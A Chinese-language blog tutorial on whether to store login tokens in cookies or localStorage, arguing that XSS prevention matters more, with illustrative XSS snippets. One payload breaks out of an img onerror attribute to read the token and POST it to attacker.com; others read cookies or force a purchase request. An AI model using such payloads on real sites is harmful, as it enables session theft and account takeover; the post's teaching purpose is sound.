之前曾經在不管是國內還是國外的社團都看過有人在討論這個話題,自己同時也對這塊較為疑惑,因此把自己研究的心得寫下來,也順便讓以選要的人參考看看這個觀點。

讓我們先思考一個問題,你認為token該放Cookie還是localstorage比較好呢?

先說結論

這是一個假議題,好,你可以關掉了(X

前情提要

我們通常會從後端拿到token作為登入用的身份憑證,如果把token存起來,我就可以不用每次使用功能都要進行登入。

關於localstorage

localstorage是一個web API,可以讓你簡單存取key-value。
通常是用來存取簡單的資料,而不是文件或是龐大的object。

使用localstorage存取token

在講token放哪的議題之前,先來簡單介紹產生方式。
一般下面的步驟稱為:先授權,再驗證。

  1. 先進行authentication,從server取得token
1
2
3
4
5
6
7
8
async function authenticate(email, password) {
const response = await fetch('https://example.com/login', {
method: 'POST',
body: JSON.stringify({ email, password }),
});
const data = await response.json();
localStorage.setItem('token', data.token);
}
  1. 當你要跟後端溝通的時候,會夾帶在Authorization
1
2
3
4
5
6
7
8
async function getUserInfo() {
const token = localStorage.getItem('token')
const response = await fetch('https://example.com/user-data', {
headers: {
Authorization: 'Bearer ' + token,
},
});
}

嗯,看起來沒問題對吧?
不過如果前端使用的方式存在漏洞,就會有安全性的隱憂。

XSS典型攻擊手法

XSS的攻擊手法有很多種,這邊以注入HTML為例。

  1. 輸入script到input
    讓我們來看看以下的程式,使用者可以透過表單輸入來改變userInput的值:
1
2
3
4
5
const content = `
<img src="${userPickedImageUrl}">
<p>${userInput}</p>
`
outputElement.innerHTML = content;

上面的程式出了什麼問題?使用者可以輸入任何東西,所以如果輸入以下資訊:

1
2
3
4
5
6
7
const userInput = '<script>alert("Hacked!")</script>'
const content = `
<img src="${userPickedImageUrl}">
<p>${userInput}</p>
`

outputElement.innerHTML = content

因為注入了script到HTML,因此瀏覽器就會執行alert。
這也代表著,使用者可以寫程式到你的網站上操作不可預期的行為

補充:現在的瀏覽器和部分library已經會針對XSS做防範,所以你可能無法重現這個攻擊在目前的瀏覽器上。

  1. 善用element的attribute
    讓我們來看看這段程式:
1
2
3
4
5
6
7
const userPickedImageUrl = 'https://example.com/no-image!jpg" onerror="alert("Hacked")"'
const content = `
<img src="${userPickedImageUrl}">
<p>${userInput}</p>
`

outputElement.innerHTML = content

在使用注入的時候,要注意最終呈現的結果是什麼,以這個例子src裡面其實你可以放任何假網址,最重要的是它讀不到會觸發onerror而執行script:

1
2
3
4
const content = `
<img src='https://example.com/no-image!jpg" onerror="alert("Hacked")"'>
<p></p>
`

實際上所代表的樣子長這樣:

1
2
3
4
5
<img
src="https://example.com/no-image!jpg"
onerror="alert('Hacked')"
/>
<p>Some message...</p>


你以為只有這樣嗎?image的變化其實不少,例如你可以在src裡面放網址去trigger外部的API:

1
2
3
const content = `
<img src='https://example.com/markUserEnterThePage">
<p></p>`

另外我們知道圖片讀不到會變成包子圖之類的,但是你可以加上alt來隱藏它的存在:

1
2
3
const content = `
<img src='https://example.com/markUserEnterThePage" alt="">
<p></p>`

透過XSS竊取localstorage資料

上面我們了解典型的攻擊手法之後,大概知道可以在裡面塞入script了
那麼,接下來就要開始做壞壞的事情了。

  1. 取得localstorage內的token
    如果會看瀏覽器debug tools的人,打開來會知道某個網站存取的token通常叫什麼名稱。
    假設這個網站存的token叫token,那麼就可以這樣竊取:
1
2
3
4
5
6
7
const userPickedImageUrl = 'https://example.com/no-image!jpg" onerror="const token = localStorage.getItem("token")'
const content = `
<img src="${userPickedImageUrl}">
<p>${userInput}</p>
`

outputElement.innerHTML = content

onerror的時候取得localStorage的token,再來只要透過console.log輸出就能看到資料順利取得了。
那又怎麼樣?不就是順利在local拿到localstorage而已嗎?
讓我們來加點變化:

1
2
3
4
5
6
7
const userPickedImageUrl = 'https://example.com/no-image!jpg" onerror="const token = localStorage.getItem("token") fetch('https://attacker.com/steal-data', { credencials: 'includes', method: 'POST', body: { token } })'
const content = `
<img src="${userPickedImageUrl}">
<p>${userInput}</p>
`

outputElement.innerHTML = content

取得token的當下,馬上打attacker的API送資料出去,這樣attacker就能拿到使用者的token了。
想像一下,如果攻擊者把這段script順利存在網站的資料庫,這樣所有瀏覽這個網頁的使用者都會暴露自己的token了。

如果是Cookie呢

目前看起來,token存在localstorage似乎不是一個好方法?
所以token存在Cookie好像比較好?不一定

  1. 這次我們做同樣的動作,授權之後換成存在cookie上:
1
2
3
4
5
6
7
8
async function authenticate(email, password) {
const response = await fetch('https://example.com/login', {
method: 'POST',
body: JSON.stringify({ email, password }),
});
const data = await response.json();
document.cookie = 'token=' + data.token;
}
  1. 和後端溝通的時候,從Cookie取得驗證
1
2
3
4
5
6
7
8
9
10
11
async function getUserInfo() {
const token = document.cookie
.split('; ')
.find((c) => c.startsWith('token'))
.split('=')[1]
const response = await fetch('https://example.com/user-data', {
headers: {
Authorization: 'Bearer ' + token,
},
})
}

我們一樣可以透過script取得Cookie:

1
2
3
4
const userPickedImageUrl = 'https://example.com/no-image!jpg" onerror="const token = document.cookie.split("; ").find(c => c.startsWith("token")).split("=")[1]'
const content = `
<img src="${userPickedImageUrl}">
<p>${userInput}</p>

所以看起來只要能塞入script就能做很多事情,所以Cookie或是localstorage哪個比較好,似乎是個假議題。
迷:可是Cookie不是有提供http only嗎?應該比較安全吧?我看過很多文章都這樣做。

Cookie的http-only

http-only主要是用來防止Cross-Site Scripting (XSS)
後端可以設定cookie 是否為http-only,被設定的值就無法被JavaScript存取,而browser可以讀取與使用。

1
2
3
4
app.post('/authenticate-cookie', (req, res) => {
res.cookie('token', 'abc', { httpOnly: true })
res.json({ message: 'Token cookie set!' })
})

這樣設定之後,我們的程式就會變成像這樣了:

1
2
3
4
5
6
async function authenticate(email, password) {
const response = await fetch('https://example/authenticate-cookie', {
method: 'POST',
body: JSON.stringify({ email, password }),
})
}
1
2
3
async function getUserInfo() {
const response = await fetch('https://example.com/user-data')
}

如果domain不一樣的話,記得改成:

1
2
3
4
5
async function getUserInfo() {
const response = await fetch('https://example.com/user-data', {
credentials: 'include',
})
}

credentials預設是same-origin。
假設page.com要看example.com互相溝通,改成include就能允許跨域。

同時也要注意後端設定對的CORS:

1
2
3
4
5
6
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', 'https://page.com/')
res.setHeader('Access-Control-Allow-Methods', 'GET, POST')
res.setHeader('Access-Control-Allow-Credentials', true)
next()
})

測試取得cookie

log出來你會發現被後端設置為http-only的token就無法被JS顯示出來了

1
console.log(document.cookie)

用http-only就安全了嗎

不!沒有絕對安全的事情,很多文章宣揚http-only可以降低風險,但是請注意,是降低!
攻擊者的手法很多變化,使用進階的手法可以繞過某些保護間接取得。

XSS其中一種攻擊手法叫做Cross Site Tracing,可以參考OWASP的這篇文章
還有一種手法是使用Header injection的手法,可參考OWASP的這篇文章

迫使使用API

當然,攻擊者也不一定真的要取得你的Cookie資訊拿來使用,也可以直接讓你執行他想要的動作
例如強制你購買商品:

1
2
3
4
5
6
7
const userPickedImageUrl =
'https://example.com/no-image!jpg" onerror="fetch("https://localhost:3000/buy-product?prodid=口罩", { credentials: "include", method: "POST" })'

const content = `
<img src="${userPickedImageUrl}">
`;
outputElement.innerHTML = content;

實際案例

可以參考這篇最近的新聞:EA的程式碼是怎麼被盜的?駭客解答:先入侵他們的Slack,然後在聊天室直接要登入密碼
攻擊者可以利用取得的Cookie去做更多社交工程的應用

結論

專案是協作出來的,儘管你的程式寫的完美無缺,如果你的夥伴寫出一個可能有被攻擊威脅的缺口,那麼再好的功都有可能失效。
由上述可知道,在資料未被加密的前提下,選擇任何一種方式其實都不是重點,重點是如何去針對XSS防範。
我個人蠻喜歡使用localstorage的,因為它使用上很簡單。

事實上XSS的手法非常多,閒閒沒事做的人都可以玩出一堆奇怪的手法來
資訊安全不能100%的防範,但是可以以做到防止大部分的攻擊行為為目標做防範

更多XSS種類可參考:

  1. https://github.com/payloadbox/xss-payload-list
  2. https://blog.techbridge.cc/2021/05/15/prevent-xss-is-not-that-easy/